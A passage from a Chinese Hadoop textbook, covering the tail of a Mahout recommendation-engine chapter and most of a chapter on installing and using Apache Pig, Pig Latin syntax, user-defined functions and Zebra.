是相同的。在共生矩阵中对角线的元素是没有意义的。计算时可以使用0进行代替。\n除了共生矩阵外，还需要一个表示用户喜好的向量。在该向量中，对于用户购买过的产品必然会有一个表示喜好的数值，对于用户没有购买的产品，选择用数字0来表示该用户对该产品没有任何喜好。例如对于用户4而言，他的向量就应该是（5.0，0，3.0，4.5，0，4.0，0）。通过计算可以得到所有用户的喜爱值，如表13-12所示。\n其实该表也是一个矩阵：矩阵的行值是产品编号，列值是用户编号，行列对应的元素值为用户对产品的喜爱值。通过观察可以发现，矩阵中包含很多0，这种矩阵可以称为稀疏矩阵。对于稀疏矩阵，同样可以采用一些技术手段使程序效率更高。\n既然已表示了产品的相似性，也表示了用户对产品的喜爱，剩下的就是如何计算推荐的产品了。其实这很简单，只要将共生矩阵与用户的列向量相乘得到一个新的列向量即可。在新的列向量中，所有可以推荐产品对应的值最大，就是计算得到的推荐产品。\n以向用户4推荐产品为例，如表13-13所示。\n从结果可以看出，用户最喜欢产品103，但是103已经买过，因此无须推荐该产品。同理101、104、106也都可以不推荐。在可以推荐的产品102、105、107中，选择推荐产品102。因为102的计算机结果是三者之中最大的。\n推荐结果已经有了，下面来分析这个结果是否合理。在所有可以推荐的产品中，推荐引擎选择了计算结果最大的产品。为什么计算结果最大的产品就是最合理的推荐产品呢？\n回想整个计算过程。在计算结果中处在第2行的计算结果37是矩阵第2行元素和用户4的列向量的乘积，3×（5.0）+0×0+3×3+2×（4.5）+1×0+1×（4.0）+0×0=37。矩阵中的第2行表示的是所有产品和产品102同时出现的次数。如果用户对某个产品非常喜欢，而这个产品又和产品102同时出现的次数很多，那么乘积对计算结果的影响就会较大。这刚好就是推荐引擎要达到的目的，用户非常喜欢的产品和102很相似，推荐引擎可向用户推荐该产品。\n对于大量数据，计算结果会非常大。但是没有关系，推荐引擎关注的是所有结果的大小关系，而不是具体的数值。因为最终向用户推荐的是可以推荐产品中计算结果最大的。在计算的过程中，对于不是最大的计算结果以及用户已经购买过的产品，推荐引擎无须推荐，因此也不必计算它们的结果。\n通过分析可知，推荐引擎计算出的推荐结果是合理的。但为什么它适合大规模的数据呢？下面来说明这个问题。在计算共生矩阵的时候，每次只需考虑一个向量；在计算用户向量的时候只需考虑该用户的喜好；在计算推荐结果的时候只需考虑矩阵中的一列值。这都表明，这个方法可以使用MapReduce编程模式。\n13.7 本章小结\n本章对Mahout做了简要介绍，主要有Mahout的详细安装过程，Mahout API的介绍，Mahout中已经实现的频繁模式挖掘算法、分类算法、聚类算法，并着重对Kmeans聚类算法做了介绍。其中还涉及了聚类算法中的数据表示。在推荐引擎部分，着重从思想上介绍了如何在Hadoop云平台下实现分布式的推荐系统。Mahout虽然经过了几年的发展，但还是有很多地方值得去探索。如果读者有兴趣加入其中，可以访问Mahout的官网，与世界各地的开发者共同推动Mahout的发展。\n第14章 Pig详解\n本章内容\nPig简介\nPig的安装和配置\nPig Latin语言\n用户定义函数\nZebra简介\nPig实例\nPig进阶\n本章小结\n14.1 Pig简介\n作为Apache项目的一个子项目，Pig提供了一个支持大规模数据分析的平台。Pig包括用来描述数据分析程序的高级程序语言，以及对这些程序进行评估的基础结构。Pig突出的特点就是它的结构经得起大量并行任务的检验，这使得它能够处理大规模数据集。\n目前，Pig的基础结构层包括一个产生MapReduce程序的编译器。Pig的语言层包括一个叫做Pig Latin的文本语言，它具有以下主要特性：\n易于编程。实现简单的和高度并行的数据分析任务非常容易。由相互关联的数据转换实例所组成的复杂任务被明确地编码为数据流，这使他们的编写更加容易，同时也更容易理解和维护。\n自动优化。任务编码的方式允许系统自动去优化执行过程，从而使用户能够专注于语义，而非效率。\n可扩展性。用户可以轻松编写自己的函数来进行特殊用途的处理。\n14.2 Pig的安装和配置\n 14.2.1 Pig的安装条件\n1.Hadoop 1.0.1\nPig有两种运行模式：Local模式和MapReduce模式。如果需要让作业在分布式环境下运行，则需要安装Hadoop，否则用户可以选择不安装。另外，当前Hadoop最新的版本为1.0.1，当然用户也可以选择安装其他版本，不过这里建议安装最新的Hadoop版本。因为新的版本修正了以前版本中的一些错误，并且添加了新的特性\n[1]\n 。\n2.Java 1.6\n建议安装Java 1.6以上的版本。Java环境对于Pig来说是必需的（推荐从SUN官方网站下载）。\n当下载安装完毕Java后，我们还需要对Java环境变量进行设置，将JAVA_HOME指向Java的安装位置。\n如果用户使用的是Linux操作系统，那么以上条件就足够了。如果用户使用的是Windows操作系统，那么除此之外，用户还需要安装Cygwin和Perl包。本章后面的案例将以Linux操作系统为例进行讲解。\n[1]\n 关于Hadoop的具体信息见相关章节。\n14.2.2 Pig的下载、安装和配置\n当前Pig最新版本为0.10.0，除此之外，Pig还有其他版本，如0.9.2、0.8.1两个版本，用户可以根据需要从Apache官方网站上下载相应的版本。本书使用最新版的Pig 0.10.0，安装包下载地址如下：\nhttp：//www.apache.org/dyn/closer.cgi/pig\nPig的安装包下载完成后，需要使用tar-xvf pig-*.*.*.tar.gz命令将其解压。我们可以将Pig放在系统中的任意位置上，并且只需要配置相应的环境变量就可以使用Pig了。不过我们建议将Pig放在Hadoop目录下，方便以后的操作。\n解压完成后，需要设置Pig相应的环境变量。环境变量有多种设置方法，用户可以根据自己的需要进行选择。这里我们选择对profile文件进行修改，来设置Pig相应的环境变量。打开“/etc/profile”文件，插入下面的一条语句，保存关闭文件后需要重启系统以使环境变量设置生效：\nexport PIG_HOME=/＜path-to-pigDir＞\nexport PATH=$PIG_HOME/bin：$PIG_HOME/conf：$PATH\n当环境变量设置生效后，我们可以通过“pig-help”命令来查看Pig是否安装成功。Pig安装成功后会出现如下所示的提示：\nhadoop@master：～/hadoop-1.0.1/pig-0.10.0$pig-help\nApache Pig version 0.10.0（r1328203）\ncompiled Apr 19 2012，22：54：12\nUSAGE：Pig[options][-]：Run interactively in grunt shell.\nPig[options]-e[xecute]cmd[cmd……]：Run cmd（s）.\nPig[options][-f[ile]]file：Run cmds found in file.\noptions include：\n-4，-log4jconf-Log4j configuration file, overrides log conf\n-b，-brief-Brief logging（no timestamps）\n-c，-check-Syntax check\n-d，-debug-Debug level, INFO is default\n-e，-execute-Commands to execute（within quotes）\n-f，-file-Path to the script to execute\n-g，-embedded-ScriptEngine classname or keyword for the ScriptEngine\n-h，-help-Display this message.You can specify topic to get help for that topic.\nproperties is the only topic currently supported：-h properties.\n-i，-version-Display version information\n-l，-logfile-Path to client side log file；default is current working directory.\n-m，-param_file-Path to the parameter file\n-p，-param-Key value pair of the form param=val\n-r，-dryrun-Produces script with substituted parameters.Script is not executed.\n-t，-optimizer_off-Turn optimizations off.The following values are supported：\nSplitFilter-Split filter conditions\nPushUpFilter-Filter as early as possible\nMergeFilter-Merge filter conditions\nPushDownForeachFlatten-Join or explode as late as possible\nLimitOptimizer-Limit as early as possible\nColumnMapKeyPrune-Remove unused data\nAddForEach-Add ForEach to remove unneeded columns\nMergeForEach-Merge adjacent ForEach\nGroupByConstParallelSetter-Force parallel 1 for\"group all\"statement\nAll-Disable all optimizations\nAll optimizations listed here are enabled by default.Optimization values\nare case insensitive.\n-v，-verbose-Print all error messages to screen\n-w，-warning-Turn warning logging on；also turns warning aggregation off\n-x，-exectype-Set execution mode：local|mapreduce, default is mapreduce.\n-F，-stop_on_failure-Aborts execution on the first failed job；default is off\n-M，-no_multiquery-Turn multiquery optimization off；default is on\n-P，-propertyFile-Path to property file\n14.2.3 Pig运行模式\nPig有两种运行模式：Local模式和MapReduce模式。当Pig在Local模式运行时，它将只访问本地一台主机；当Pig在MapReduce模式运行时，它将访问一个Hadoop集群和HDFS的安装位置。这时，Pig将自动地对这个集群进行分配和回收。因为Pig系统可以自动对MapReduce程序进行优化，所以当用户使用Pig Latin语言进行编程的时候，不必关心程序运行的效率，Pig系统将会自动对程序进行优化。这样能够大量节省用户编程的时间。\n下面我们首先介绍Pig在Local模式下的运行方式。Pig的Local模式适用于用户对程序进行调试，因为Local模式下的Pig将只访问本地一台主机，它可以在短时间内处理少量的数据，并且用户不必关心Hadoop系统对整个集群的控制，这样既能让用户使用Pig的功能，又不至于在集群的管理上花费太多时间。\nPig的Local模式和MapReduce模式都有三种运行方式，分别为：Grunt Shell方式、脚本文件方式和嵌入式程序方式。下面我们将对其进行一一介绍。\n1.Local模式\n（1）Grunt Shell方式\n用户使用Grunt Shell方式时，需要首先使用命令开启Pig的Grunt Shell，只需在Linux终端中输入如下命令并执行即可：\n$pig-x local\n这样Pig将进入Grunt Shell的Local模式，如果直接输入“pig”命令，Pig将首先检测Pig的环境变量设置，然后进入相应的模式。如果没有设置MapReduce环境变量，Pig将直接进入Local模式。图14-1为开启Grunt Shell的结果。\n图 14-1 Local模式下开启Grunt Shell\nGrunt Shell和Windows中的Dos窗口非常类似，这里用户可以一条一条地输入命令对数据进行操作。\n（2）脚本文件方式\n使用脚本文件作为批处理作业来运行Pig命令，它实际上就是第一种运行方式运行脚本中命令的集合，使用如下命令可以在本地模式下运行Pig脚本：\n$pig-x local script.pig\n其中，“script.pig”对应的是Pig脚本，用户在这里需要正确指定Pig脚本的位置，否则，系统将不能识别。例如，Pig脚本放在“/root/pigTmp”目录下，那么这里就要写成“/root/pigTmp/script.pig”。用户在使用的时候需要注意Pig给出的一些提示，充分利用这些提示能够帮助用户更好地使用Pig进行相关的操作\n[1]\n 。\n（3）嵌入式程序方式\n我们可以把Pig命令嵌入到其他编程语言中，并且运行这个嵌入式程序。和运行普通的Java程序相同，这里需要书写特定的Java程序，并且将其编译生成对应的class文件或package包，然后再调用main函数运行程序。\n用户可以使用下面的命令对Java源文件进行编译：\n$javac-cp pig-*.*.*-core.jar local.java\n这里“pig-*.*.*-core.jar”放在Pig安装目录下，“local.java”为用户编写的Java源文件，并且“pig-*.*.*-core.jar”和“local.java”需要用户正确地指定相应的位置。例如，我们的“pig-*.*.*-core.jar”文件放在“/root/hadoop-0.20.2/”目录下，“local.java”文件放在“/root/pigTmp”目录下，那么这一条命令我们应该写成：\n$javac-cp/root/hadoop-0.20.2/pig-0.20.2-core.jar/root/pigTmp/local.java\n当编译完成后，Java会生成“local.class”文件，然后用户可以通过如下命令调用执行此文件。\n$java-cp pig-*.*.*-core.jar：.local\n2.MapReduce模式\nPig需要把真正的查询转换成相应的MapReduce作业，并提交到Hadoop集群去运行（集群可以是真实的分布，也可以是伪分布）。要想Pig能识别Hadoop，用户需要告诉Pig要连接的Hadoop的安装目录。我们只需要设置HADOOP_HOME环境变量：\nexport HADOOP_HOME=/path/to/hadoop\n当设置完毕并且生效之后，用户可以输入“pig-x mapreduce”命令进行测试，如果能够看到Pig连接Hadoop的NameNode和JobTrakcer的相关信息，则表明配置成功，用户就可以随心所欲地使用MapReduce模式来进行相关的Pig操作了。\n图14-2为MapReduce配置成功后的提示信息，从图中可以看到Pig连接Hadoop的详细信息。\n图 14-2 MapReduce配置成功的提示信息\n配置成功之后，下面我们将针对Pig的MapReduce模式，说明如何在此模式下对Grunt Shell方式、脚本文件方式和嵌入式程序方式进行操作。它们和Local模式下的操作几乎相同，只不过需要将相应的参数指明为MapReduce模式。\n（1）Grunt Shell方式\n用户在Linux终端下输入如下命令，进入Grunt Shell的MapReduce模式：\n$pig-x mapreduce\n（2）脚本文件方式\n用户可以使用如下命令在MapReduce模式下运行Pig脚本文件：\n$pig-x mapreduce script.pig\n（3）嵌入式程序\n和Local模式相同，在MapReduce模式下运行嵌入式程序同样需要经过编译和执行两个步骤。用户可以使用如下两条命令，完成相应的操作。\njavac-cp pig-0.10.0-core.jar mapreduce.java\njava-cp pig-0.10.0-core.jar：.mapreduce\n至此，Pig系统的两个运行模式及其分别对应的三个运行方式就讲述完毕了，14.5和14.6节我们将结合实例，对其做更深入的介绍，在这里希望大家能够对Pig系统的运行模式有一个初步的印象。\n[1]\n 注意：这里script.pig前后没有引号。\n14.3 Pig Latin语言\n 14.3.1 Pig Latin语言简介\nPig Latin语言和传统的关系数据库中的数据库操作语言非常类似。但是Pig Latin语言更侧重于对数据的查询和分析，而不是对数据进行修改和删除等操作。另外，由于Pig Latin可以在Hadoop的分布式云平台上运行，它的这个特点可以让其具有其他数据库无法比拟的速度优势，能够在短时间内处理海量的数据。例如，处理系统日志文件、处理大型数据库文件、处理特定Web数据等。除此之外，我们在使用Pig Latin语言编写程序的时候，不必关心如何让程序能够更好地在Hadoop云平台上运行，因为这些任务都是由Pig系统自行分配的，不需要程序员参与。因此，程序员只需要专注于程序的编写即可，这样大大减轻了程序员的负担。\nPig Latin是这样一个操作：通过对关系（relation）进行处理产生另外一组关系\n[1]\n 。Pig Latin语言在书写一条语句的时候能够跨越多行，但是必须以半角的分号来结束。Pig Latin语句通常按照下面的流程来编写：\n1）通过一条LOAD语句从文件系统中读取数据；\n2）通过一系列“转换”语句对数据进行处理；\n3）通过一条STORE语句把处理结果输出到文件系统中，或者使用一条DUMP语句把处理结果输出到屏幕上。\nLOAD和STORE语句有严格的语法规定，用户很容易就能掌握，关键是如何灵活使用“转换”语句对数据进行处理。\nPig Latin语言还可以对数据进行连接操作，在14.6节中，我们将通过一组例子，让用户对Pig Latin语言的特点有更好的体会。\n[1]\n 这个定义适用于除LOAD和STORE之外的所有操作，LOAD和STORE分别执行从文件系统读取和写入的操作。\n14.3.2 Pig Latin的使用\n这一节我们着重讲一下Pig Latin可以用在哪些方面。\n1.运行Pig Latin\n用户可以通过多种方式使用Pig Latin语句，如14.2.3所述。通常，Pig按如下方式执行Pig Latin语句：\n1）Pig对所有语句的语法和语义进行确认；\n2）如果遇到DUMP或者STORE命令，Pig将顺序执行上面所有的语句。\n在下面的示例中，Pig将只确认LOAD和FOREACH语句，但不执行：\nA=LOAD'Student'USING PigStorage（'：'）AS（Sno：chararray, Sname：chararray, Ssex：\nchararray, Sage：int, Sdept：chararray）；\nB=FOREACH A GENERATE Sname；\n在下面的示例中，Pig将确认并执行LOAD、FOREACH和DUMP语句：\nA=LOAD'Student'USING PigStorage（'：'）AS（Sno：chararray, Sname：chararray, Ssex：c\nhararray, Sage：int, Sdept：chararray）；\nB=FOREACH A GENERATE Sname；\nDUMP B；\n因为Pig的一些命令并不会自动执行，而是需要通过其他命令来触发，也就是说如果用户连续地使用某些命令，它并不会马上执行，而是在最后的一个触发操作的调用下，连续地一次性地执行完毕。\n2.查看Pig Latin的运行结果\nPig Latin包括一些用来查看语句运行结果的操作。\n1）使用DUMP操作把操作的结果显示在屏幕上，如下所示：\nDUMP alias；\n2）使用STORE操作把操作的结果存储在文件中，如下所示：\nSTORE alias INTO'directory'[USING function]；\n3.Pig Latin的调试\nPig Latin包括一些可以帮助用户进行调试的操作。\n1）使用DECSRIBE操作查看关系的模式，如下所示：\nDESCRIBE alias；\n2）使用EXPLAIN操作查看对某个关系进行操作的逻辑的、物理的或者MapReduce的执行计划，如下所示：\nEXPLAIN[-script pigscript][-out path][-brief][-dot][-param param_name=\nparam_value][-param_file file_name]alias；\n3）使用ILLUSTRATE操作对Pig Latin语句进行单步执行，如下所示：\nILLUSTRATE alias；\n4.注释在Pig Latin脚本中的使用\n注释就是对代码的解释和说明。目的是为了让别人和自己很容易看懂。像其他的编程语言一样，Pig Latin脚本中也可以包含注释，下面是两种常用的注释格式：\n（1）多行注释：/*……*/\n示例：\n/*\nmyscript.pig\nMy script includes three simple Pig Latin Statements.\n*/\n（2）单行注释：--\n示例：\nA=LOAD'Student'USING PigStorage（'：'）；--语句\nB=FOREACH A GENERATE Sname；--foreach语句\nDUMP B；--dump语句\n5.大小写相关性\n在Pig Latin中，关系名、域名、函数名是区分大小写的。参数名和所有Pig Latin关键字是不区分大小写的。\n请注意下面的示例：\n关系名A、B、C等是区分大小写的；\n域名f1，f2、f3等是区分大小写的；\n函数名PigStorage、COUNT等是区分大小写的；\n关键字LOAD, USING, AS, GROUP, BY, FOREACH, GENERATE, DUMP等是不区分大小写的，它们也能被写成load、using、as、group、by、foreach、generate、dump等。在FOREACH语句中，关系B中的域通过位置来访问，如下所示：\ngrunt＞A=LOAD'data'USING PigStorage（）AS（f1：int, f2：int, f3：int）；\ngrunt＞B=GROUP A BY f1；\ngrunt＞C=FOREACH B GENERATE COUNT（$0）；\ngrunt＞DUMP C；\n14.3.3 Pig Latin的数据类型\n1.数据模式\nPig Latin中数据的组织形式包括：关系（relation）、包（bag）、元组（tuple）和域（field）。\n一个关系可以按如下方式定义：\n一个关系就是一个包（更具体地说，是一个外部包）；\n包是元组的集合；\n元组是域的有序集合；\n域是一个数据块。\n一个Pig关系是一个由元组组成的包，Pig中的关系和关系数据库中的表（table）很相似，包中的元组相当于表中的行。但是和关系表不同的是，Pig中不需要每一个元组包含相同数目或者相同位置的域（同列域），也不需要具有相同的数据类型。\n另外，关系是无序的，这就意味着Pig不能保证元组按特定的顺序来执行。\n2.数据类型\n表14-1给出了一些简单数据类型的描述及示例。限于篇幅我们不再做更详细的介绍，具体内容大家可以在使用中慢慢体会。\n14.3.4 Pig Latin关键字\nPig Latin语言有很多关键字，但是我们不可能一一给大家介绍。在下面的第一部分的内容中，我们给大家介绍Pig Latin语言都包含哪些关键字；然后在第二部分，我们就其中主要的关键字给大家做详细介绍。\n1.Pig Latin关键字\n表14-2给出了一些与首字母相对应的关键字。\n2.常用关键字\n在Pig Latin常用的关键字中，我们将其分为四类：关系运算符、诊断运算符、Load/Store函数和文件命令。\n（1）关系运算符\nLoad\n它的作用是从文件系统中加载数据，语法如下：\nLOAD'data'[USING function][AS schema]\n在这里“data”表示文件或目录的名字，并且要用单引号括起来。如果用户指定一个目录的名字，目录中所有的文件将被加载。中括号中的内容为可选项（如果没有特殊指明，“[]”都表示可选项），用户只在需要的时候指明，可以省略。这里使用schema来指定加载数据类型，如果数据类型与模式中指定的数据类型不符，那么系统将产生一个null，甚至会报错。\n下面是我们给出的几个Load操作的例子：\n不使用任何方式：\nA=LOAD'myfile.txt'；\n使用加载函数：\nA=LOAD'myfile.txt'USING PigStorage（'\\t'）；\n指定模式：\nA=LOAD'myfile.txt'AS（f1：int, f2：int, f3：int）；\n加载函数和模式均使用：\nA=LOAD'myfile.txt'USING PigStorage（'\\t'）AS（f1：int, f2：int, f3：int）；\nStore\n它的作用是将结果保存到文件系统中，语法如下所示：\nSTORE alias INTO'directory'[USING function]；\n这里的“alias”是用户要存储的结果（关系）的名称，INTO为不可省略的关键字，Directory为用户指定的存储目录的名字，需要用单引号括起来。另外，如果此目录已经存在，那么Store操作将会失败，输出文件将被系统命名成part-nnnnn的格式。\nForeach\n它的作用是基于数据的列进行数据转换，语法如下：\nalias=FOREACH{gen_blk|nested_gen_blk}[AS schema]；\n通常我们使用“FOREACH……GENERATE”组合来对数据列进行操作，下面是两个简单的例子。\n如果一个关系A（outer bag），FOREACH语句可以按下面的方式来使用：\nX=FOREACH A GENERATE f1；\n如果A是一个inner bag, FOREACH语句可以按下面的方式来使用：\nX=FOREACH B{\nS=FILTER A BY'xyz'；\nGENERATE COUNT（S.$0）；\n}\n对于初级用户来说，仅需要掌握第一种操作方式，关于Foreach关键字的更多内容我们将在今后进行详细的讨论。\n（2）诊断运算符\nDump\n它的作用是将结果显示到屏幕上，语法如下：\nDUMP alias\n这里的“alias”为被操作关系的名字。\n使用DUMP操作符来执行Pig Latin语句，并且把结果输出到屏幕上。使用DUMP意味着使用交互式模式，也就是说，语句被马上执行，但结果并没有被保存。用户可以使用DUMP作为一个调试设备，用来检查用户期望的数据是否已经生成。另外用户应该有选择地使用DUMP，因为它会使多值查询优化无效，并且可能会减慢执行。\n示例：\nA=LOAD'student'AS（name：chararray, age：int, gpa：float）；\nDUMP A；\n这里Pig将会把A中所有的数据输出到屏幕上。\nDescribe\n它的作用是返回一个名称的模式，语法如下：\nDESCRIBE alias；\n使用DESCRIBE操作符来查看指定名称的模式。\n在这个例子中，使用AS子句来指定一个模式，如果所有的数据都符合这个模式，Pig将使用已分配的类型。然后我们使用DESCRIBE操作符来查看它们的模式。\nA=LOAD'student'AS（name：chararray, age：int, gpa：float）；\nB=FILTER A BY name matches'J.+'；\nC=GROUP B BY name；\nD=FOREACH B GENERATE COUNT（B.age）；\nDESCRIBE A；\nA：{group, B：（name：chararray, age：int, gpa：float}\nDESCRIBE B；\nB：{group, B：（name：chararray, age：int, gpa：float}\nDESCRIBE C；\nC：{group, chararry, B：（name：chararray, age：int, gpa：float}\nDESCRIBE D；\nD：{long}\n（3）Load/Store函数\nPigStorage的作用是加载、存储UTF-8格式的数据，语法如下：\nPigStorage（field_delimiter）\nField_delimiter为PigStorage函数的参数，用来指定函数的字段定界符。PigStorage函数默认的字段定界符为：tab（'\\t'），用户也可以指定其他字段定界符，但定界符要在单引号中指明。\nPigStorage是LOAD和STORE操作符默认的加载函数，而且能够处理简单的和复杂的数据类型。\nPigStorage对有结构的文本进行读取，并采用UTF-8编码进行存储。\n在Load语句中，PigStorage希望数据使用域定界符进行格式化。默认情况下为字符（'\\t'），用户也可以指定其他的字符。\n在Store语句中，PigStorage同样使用域定界符来输出数据。它的操作方法和Load语句相同，另外Store语句的记录定界符使用（'\\n'）。\nLoad或Store语句的默认的域定界符均为tab（'\\t'）。用户可以使用其他字符作为字段定界符。但是像^A或Ctrl-A等字符应使用UTF-16编码格式进行编码。\nLoad语句中，Pig注明记录定界符为：换行符（'\\n'）、回车返回符（'\\r'）或CTRL-M以及组合的CR+LF字符（'\\r\\n'）\n[1]\n 。在Store语句中，Pig使用换行符作为记录定界符。\n以下提供一个示例。\n在这个例子中PigStorage使用tab作为域定界符，换行符为记录定界符，并且下面的两条语句是等价的：\nA=LOAD'student'USING PigStorage（'\\t'）AS（name：chararray, age：int, gpa：float）；\nA=LOAD'student'AS（name：chararray, age：int, gpa：float）；\n在这个例子中，PigStorage将X的内容存储到文件中，并且使用星号作为域定界符。STORE函数将结果存储在output目录中。\nSTORE X INTO'output'USING PigStorage（'*'）；\n（4）文件命令：\ncd\n它的作用是将当前目录修改为其他目录，语法如下：\ncd[dir]\n此处的cd命令和Linux的cd命令非常相似，能够用来对文件系统进行定位。如果用户指定了一个目录，那么这个目录将成为用户当前的工作目录，并且用户所有其他的操作都将相对于这个目录来进行。如果没有指定任何目录，用户的根目录将成为当前的工作目录。\ncopyFromLocal\n它的作用是从本地文件系统复制文件或目录到HDFS中，语法如下：\ncopyFromLocal src_path dst_path\n其中，src_path为本地系统中的文件或目录的路径，dst_path为HDFS系统中的路径。\nCopyFromLocal命令让用户能够从本地文件系统中复制文件或目录到Hadoop的分布式文件系统中。\nls\n它的作用是显示一个目录中的内容，语法如下：\nls[path]\n此处的ls命令和Linux中的ls命令相似，如果指定一个目录，这个命令将列出被指定目录中的内容。如果不指定参数，那么系统将列出当前工作目录中的内容。\nrm\n它的作用是移除一个或更多的文件或目录，语法如下：\nrm path[path……]\n此处的rm命令和Linux中的rm命令相似，让用户能够移除一个或多个文件或目录。\n[1]\n 一定不要将这些字符用作域定界符。\n14.4 用户定义函数\n大家可以使用用户定义函数（User Defined Functions, UDFs）来编写特定的处理函数，这大大地增强了Pig Latin语言的功能，用户可以方便地对其功能进行扩充和完善。Pig为用户定义函数提供了大量的支持，UDFs几乎可以作为Pig所有操作符的一部分来使用。\n下面我们将通过一个实例来帮助大家学习如何编写UDFs，以及如何让Pig使用大家编写的UDFs。\n这里我们给出一个学生表（学号，姓名，性别，年龄，所在系），其中含有如下几条记录：\n201000101：李勇：Boy：20：计算机软件与理论\n201000102：王丽：Girl：19：计算机软件与理论\n201000103：刘花：Girl：18：计算机应用技术\n201000104：李肖：Boy：19：计算机系统结构\n201000105：吴达：Boy：19：计算机系统结构\n201000106：滑可：Boy：19：计算机系统结构\n它们所对应的数据类型如下所示：\nStudent（Sno：chararray, Sname：chararray, Ssex：chararray, Sage：int, Sdept：chararray）\n这里字段与字段之间通过冒号（半角英文标点）隔开，下面我们将编写一个函数，能够将所有的小写字母转换成对应的大写字母。\n 14.4.1 编写用户定义函数\n下面是我们编写的UDFs代码，如代码清单14-1所示。\n代码的第1行表明这个函数是myudfs包的一部分。这个UDF类是EvalFunc类的继承，EvalFunc是所有eval函数的基类。在这个例子中，这个类使用返回值类型为Java String的参数进行参数化。现在我们需要去实现EvalFunc类的exec函数。在这里，函数的输入是一个tuple集合，它们按照Pig脚本加载的顺序依次被调用。每当输入一个tuple, UDF将被调用一次。在我们的例子中，它是一个与学生的性别相一致的字符串域。\n我们首先需要做的是处理无效的数据。这依赖于数据的格式，如果数据为字节数组，那就意味着它不需要被转化为其他的数据类型；如果输入的数据为其他类型，那么就需要将数据转换成适当的数据类型；如果输入数据的格式不能被系统识别或转换，NULL值将被返回。这就是我们例子中的第16行会抛出一个错误的原因。在这里，WrappedIOException是一个帮助类，帮助我们把真实的异常转换为IO异常。\n另外，注意第10～11行的作用为检查输入数据为null或空。如果为null或空，系统将返回null。\n很容易看出，函数的实现部分在第13～14行，它们使用Java函数将接收的输入转换为相应的大写。\n如果要使用这个函数，它需要被编译并且包含在一个JAR中。用户需要建立pig.jar来编译用户的UDF。pig.jar文件需要用户自行下载安装。可以使用下面的命令集从SVN库中检验代码并且创建pig.jar文件：\nsvn co http：//svn.apache.org/repos/asf/pig/trunk\ncd trunk\nant\n注意 在使用svn和ant操作之前，要确保系统已经安装了SVN和ant\n[1]\n 。\n上述操作完成之后，用户可以在自己当前的工作目录中看到pig.jar文件（它位于trunk目录下）。\n当pig.jar文件创建完成之后，我们首先需要对函数进行编译，然后再创建一个包含这个函数的JAR文件。具体操作命令如下：\ncd myudfs\njavac-cp pig.jar UPPER.java\ncd..\njar-cf myudfs.jar myudfs\n[1]\n 这部分知识已经超出了本书的内容，具体的操作大家可以参考其他相关书籍。\n14.4.2 使用用户定义函数\n下面是我们所编写的pig脚本，它使用我们所编写的用户定义函数对上面给出的学生表进行了相应的操作。\n1--myscript.pig\n2 REGISTER myudfs.jar；\n3 A=LOAD'Student'using PigStorage（'：'）as（Sno：chararray, Sname：chararray, Ssex\n：chararray, Sage：int, Sdept：chararray）；\n4 B=FOREACH A GENERATE myudfs.UPPER（Ssex）；\n5 DUMP B；\n我们使用下面的命令执行此脚本文件。其中，使用“-x mapreduce”指定函数运行的模式，如果用户只是为了对函数进行测试，建议用户在local模式下运行。因为对于小文件来说，MapReduce模式的准备时间显得过长，有时候甚至让用户觉得MapReduce模式下文件的运行效率比local模式下还要低。为了验证函数的通用性，这里我们使用MapReduce模式。\njava-cp pig.jar org.apache.pig.Main-x mapreduce myscript.pig\n这个脚本的第2行提供了JAR文件的位置，这个JAR文件中包含我们刚刚编写的用户定义函数（注意：jar文件上没有引号）。为了找到JAR文件的位置，Pig首先检查classpath环境变量。如果在classpath环境变量中不能找到JAR文件，Pig将假定地址为绝对地址或一个相对于Pig被调用位置的地址。如果JAR文件仍旧不能被发现，系统将返回一个错误。\n多个用户定义函数可以被用在相同的脚本中。如果完全相同且合格的函数出现在多个JAR中，那么根据Java语义，第一个出现的函数将被一直使用。\nUDF的名称和包名必须要完全合格，否则系统将返回一个错误：\njava.io.IOException：Cannot instantiate：UPPER.\n另外，函数的名称区分大小写（比如：UPPER和upper是不同的），UDF也可以包含一个或更多的参数。\n当操作完成之后，我们可以在终端上看到Pig输出的正确结果：\nBOY\nGIRL\nGIRL\nBOY\nBOY\nBOY\n用户定义函数还包括很多其他的内容，限于篇幅，我们在这里只做简单介绍。\n14.5 Zebra简介\nZebra是提供列式数据读写的路径访问库。它相当于用户应用程序和Hadoop分布式文件系统（HDFS）之间的抽象层。用户的数据可以通过Zebra的TableStore类加载到HDFS中。目前，Zebra提供了对Pig、MapReduce以及Streaming作业的支持，其关系如图14-3所示。\n图 14-3 Zebra与相关工具的关系\n 14.5.1 Zebra的安装\nZebra的安装依赖于以下文件：\nPig，要求版本在0.7.0以上；\nHadoop，要求版本在0.20.2以上；\nJDK，要求版本在1.6以上；\nAnt，要求版本在1.7.1以上。\n目前，在Pig-0.10.0版本中，已经集成了Zebra文件，位于$PIG_HOME/contrib/zebra目录下。另外，我们也可以使用svn从Pig版本库中直接下载：\nsvn co http：//svn.apache.org/viewvc/pig/trunk/contrib/zebra/\n这样，用户可以在当前目录下发现下载完成的文件。\n无论是在Pig-0.10.0安装包还是直接从SVN库中下载的Zebra，都是没有编译的源文件，我们需要自行编译。编译需要分为如下两个步骤，如下所示：\n（1）编译Pig\ncd$PIG_HOME\nant jar\n该步骤首先进入Pig的根目录，然后运行ant命令进行编译。\n注意 该步骤是为了生成Pig的JAR文件，一般直接下载的pig-0.10.0安装包里已经编译好，因此可以省略。但是从Pig的SVN库中下载的Pig源文件往往没有编译，故此需要该步骤。\n（2）编译Zebra\ncd./contrib/zebra\nant jar\n当上述两步完成后，将会在$PIG_HOME/contrib/zebra目录下生成Zebra的jar文件。\n14.5.2 Zebra的使用简介\n从图14-3中我们可以看出，Zebra支持Pig、MapReduce以及Streaming三种方式。在本节中，我们主要介绍如何使用Pig来调用Zebra进行数据的读写，其他相关部分大家可以从Zebra官方网站\n[1]\n 上查阅。\nZebra的读写需要首先声明存储模式。Zebra提供了与Pig之间模式的自动转换，因此我们在使用Pig对Zebra进行操作的时候不需要指定模式。\n下面介绍如何使用Zebra提供的类加载数据。在加载数据时需要使用Zebra的TableLoader类，该类包含两个构造函数，如下所示：\nTableLoader（）\nTableLoader（String projectionStr）\n如果使用“TableLoader（）”构造函数，Zebra将自动识别数据的列，并为其指定模式：或者可以使用第二种构造函数，其中，参数“projectionStr”指定的是投影字符串，用“，”分割被投影的字段。\n下面操作将从表“student”中加载数据：\nregister$LOCATION/zebra-$version.jar；\nA=LOAD'studenttab'USING org.apache.hadoop.zebra.pig.TableLoader（）；\n可以看到与使用UDFs类似，在使用之前首先需要使用register语句将相应的JAR包注册。\n我们可以使用DESCRIBE语句来查看表的模式：\nDESCRIBE A；\nA：{name：chararray, age：int, 